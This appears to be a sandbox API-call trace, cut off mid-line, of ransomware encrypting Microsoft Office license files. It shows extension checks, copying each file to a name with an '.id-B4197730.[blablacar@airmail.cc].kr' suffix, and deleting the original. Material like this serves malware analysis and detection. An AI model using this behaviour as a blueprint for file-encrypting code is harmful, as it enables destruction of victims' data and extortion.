lstrlenW (lpString=".pdf") returned 4 [0192.781] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString=".xls") returned 4 [0192.781] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString=".xlsx") returned 5 [0192.782] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.782] lstrlenW (lpString=".ppt") returned 4 [0192.782] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.782] lstrlenW (lpString=".zip") returned 4 [0192.782] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.782] lstrlenW (lpString=".rar") returned 4 [0192.782] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.782] lstrlenW (lpString=".bz2") returned 4 [0192.782] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.782] lstrlenW (lpString=".7z") returned 3 [0192.782] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.782] lstrlenW (lpString=".dbf") returned 4 [0192.782] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.782] lstrlenW (lpString=".1cd") returned 4 [0192.782] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.782] lstrlenW (lpString=".jpg") returned 4 [0192.782] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.782] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.782] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23 [0192.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.784] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11143) returned 1 [0192.784] CloseHandle (hObject=0x36c) returned 1 [0192.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0192.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.786] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.786] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0192.788] GetLastError () returned 0x0 [0192.788] ReadFile (in: hFile=0x36c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2b87, lpOverlapped=0x0) returned 1 [0192.789] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0192.791] ReadFile (in: hFile=0x36c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.791] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x102, lpOverlapped=0x0) returned 1 [0192.791] SetEndOfFile (hFile=0x4d4) returned 1 [0192.791] CloseHandle (hObject=0x4d4) returned 1 [0192.791] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.791] SetEndOfFile (hFile=0x36c) returned 1 [0192.794] CloseHandle (hObject=0x36c) returned 1 [0192.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0192.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0192.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0192.795] lstrlenW (lpString=".doc") returned 4 [0192.795] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.795] lstrlenW (lpString=".docx") returned 5 [0192.795] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.796] lstrlenW (lpString=".pdf") returned 4 [0192.796] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.796] lstrlenW (lpString=".xls") returned 4 [0192.796] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.796] lstrlenW (lpString=".xlsx") returned 5 [0192.796] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.021] lstrlenW (lpString=".ppt") returned 4 [0193.021] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.021] lstrlenW (lpString=".zip") returned 4 [0193.021] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.021] lstrlenW (lpString=".rar") returned 4 [0193.021] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.021] lstrlenW (lpString=".bz2") returned 4 [0193.021] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.021] lstrlenW (lpString=".7z") returned 3 [0193.021] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.022] lstrlenW (lpString=".dbf") returned 4 [0193.022] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.022] lstrlenW (lpString=".1cd") returned 4 [0193.022] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.022] lstrlenW (lpString=".jpg") returned 4 [0193.022] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.022] lstrlenW (lpString=".doc") returned 4 [0193.022] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString=".docx") returned 5 [0193.022] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.022] lstrlenW (lpString=".pdf") returned 4 [0193.022] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString=".xls") returned 4 [0193.022] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString=".xlsx") returned 5 [0193.022] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.022] lstrlenW (lpString=".ppt") returned 4 [0193.022] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.022] lstrlenW (lpString=".zip") returned 4 [0193.022] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.022] lstrlenW (lpString=".rar") returned 4 [0193.022] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.023] lstrlenW (lpString=".bz2") returned 4 [0193.023] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.023] lstrlenW (lpString=".7z") returned 3 [0193.023] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.023] lstrlenW (lpString=".dbf") returned 4 [0193.023] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.023] lstrlenW (lpString=".1cd") returned 4 [0193.023] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0193.023] lstrlenW (lpString=".jpg") returned 4 [0193.023] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.023] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.023] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26 [0193.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.024] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11581) returned 1 [0193.024] CloseHandle (hObject=0x450) returned 1 [0193.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0193.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.025] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.025] GetLastError () returned 0x0 [0193.025] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0193.029] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0193.031] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.031] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x108, lpOverlapped=0x0) returned 1 [0193.031] SetEndOfFile (hFile=0x520) returned 1 [0193.031] CloseHandle (hObject=0x520) returned 1 [0193.031] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.031] SetEndOfFile (hFile=0x450) returned 1 [0193.035] CloseHandle (hObject=0x450) returned 1 [0193.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0193.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.037] lstrlenW (lpString=".doc") returned 4 [0193.037] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.037] lstrlenW (lpString=".docx") returned 5 [0193.037] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.037] lstrlenW (lpString=".pdf") returned 4 [0193.037] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.037] lstrlenW (lpString=".xls") returned 4 [0193.037] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.037] lstrlenW (lpString=".xlsx") returned 5 [0193.037] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.037] lstrlenW (lpString=".ppt") returned 4 [0193.037] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.037] lstrlenW (lpString=".zip") returned 4 [0193.037] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.037] lstrlenW (lpString=".rar") returned 4 [0193.037] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.037] lstrlenW (lpString=".bz2") returned 4 [0193.038] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.038] lstrlenW (lpString=".7z") returned 3 [0193.038] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.038] lstrlenW (lpString=".dbf") returned 4 [0193.038] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.038] lstrlenW (lpString=".1cd") returned 4 [0193.038] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.038] lstrlenW (lpString=".jpg") returned 4 [0193.038] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.038] lstrlenW (lpString=".doc") returned 4 [0193.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.038] lstrlenW (lpString=".docx") returned 5 [0193.038] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.038] lstrlenW (lpString=".pdf") returned 4 [0193.038] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.038] lstrlenW (lpString=".xls") returned 4 [0193.038] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.039] lstrlenW (lpString=".xlsx") returned 5 [0193.039] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.039] lstrlenW (lpString=".ppt") returned 4 [0193.039] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.039] lstrlenW (lpString=".zip") returned 4 [0193.039] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.039] lstrlenW (lpString=".rar") returned 4 [0193.039] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.039] lstrlenW (lpString=".bz2") returned 4 [0193.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.039] lstrlenW (lpString=".7z") returned 3 [0193.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.039] lstrlenW (lpString=".dbf") returned 4 [0193.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.039] lstrlenW (lpString=".1cd") returned 4 [0193.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0193.040] lstrlenW (lpString=".jpg") returned 4 [0193.040] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.040] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.040] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26 [0193.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.041] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19926) returned 1 [0193.042] CloseHandle (hObject=0x450) returned 1 [0193.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0193.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0193.043] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.043] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0193.044] GetLastError () returned 0x0 [0193.044] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0193.047] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0193.048] ReadFile (in: hFile=0x450, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.048] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x108, lpOverlapped=0x0) returned 1 [0193.049] SetEndOfFile (hFile=0x520) returned 1 [0193.049] CloseHandle (hObject=0x520) returned 1 [0193.049] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.049] SetEndOfFile (hFile=0x450) returned 1 [0193.054] CloseHandle (hObject=0x450) returned 1 [0193.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0193.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.055] lstrlenW (lpString=".doc") returned 4 [0193.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.055] lstrlenW (lpString=".docx") returned 5 [0193.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.055] lstrlenW (lpString=".pdf") returned 4 [0193.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.055] lstrlenW (lpString=".xls") returned 4 [0193.055] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.055] lstrlenW (lpString=".xlsx") returned 5 [0193.055] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.055] lstrlenW (lpString=".ppt") returned 4 [0193.055] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.055] lstrlenW (lpString=".zip") returned 4 [0193.055] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.055] lstrlenW (lpString=".rar") returned 4 [0193.055] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString=".bz2") returned 4 [0193.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString=".7z") returned 3 [0193.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.056] lstrlenW (lpString=".dbf") returned 4 [0193.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.056] lstrlenW (lpString=".1cd") returned 4 [0193.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.056] lstrlenW (lpString=".jpg") returned 4 [0193.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0193.056] lstrlenW (lpString=".doc") returned 4 [0193.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.056] lstrlenW 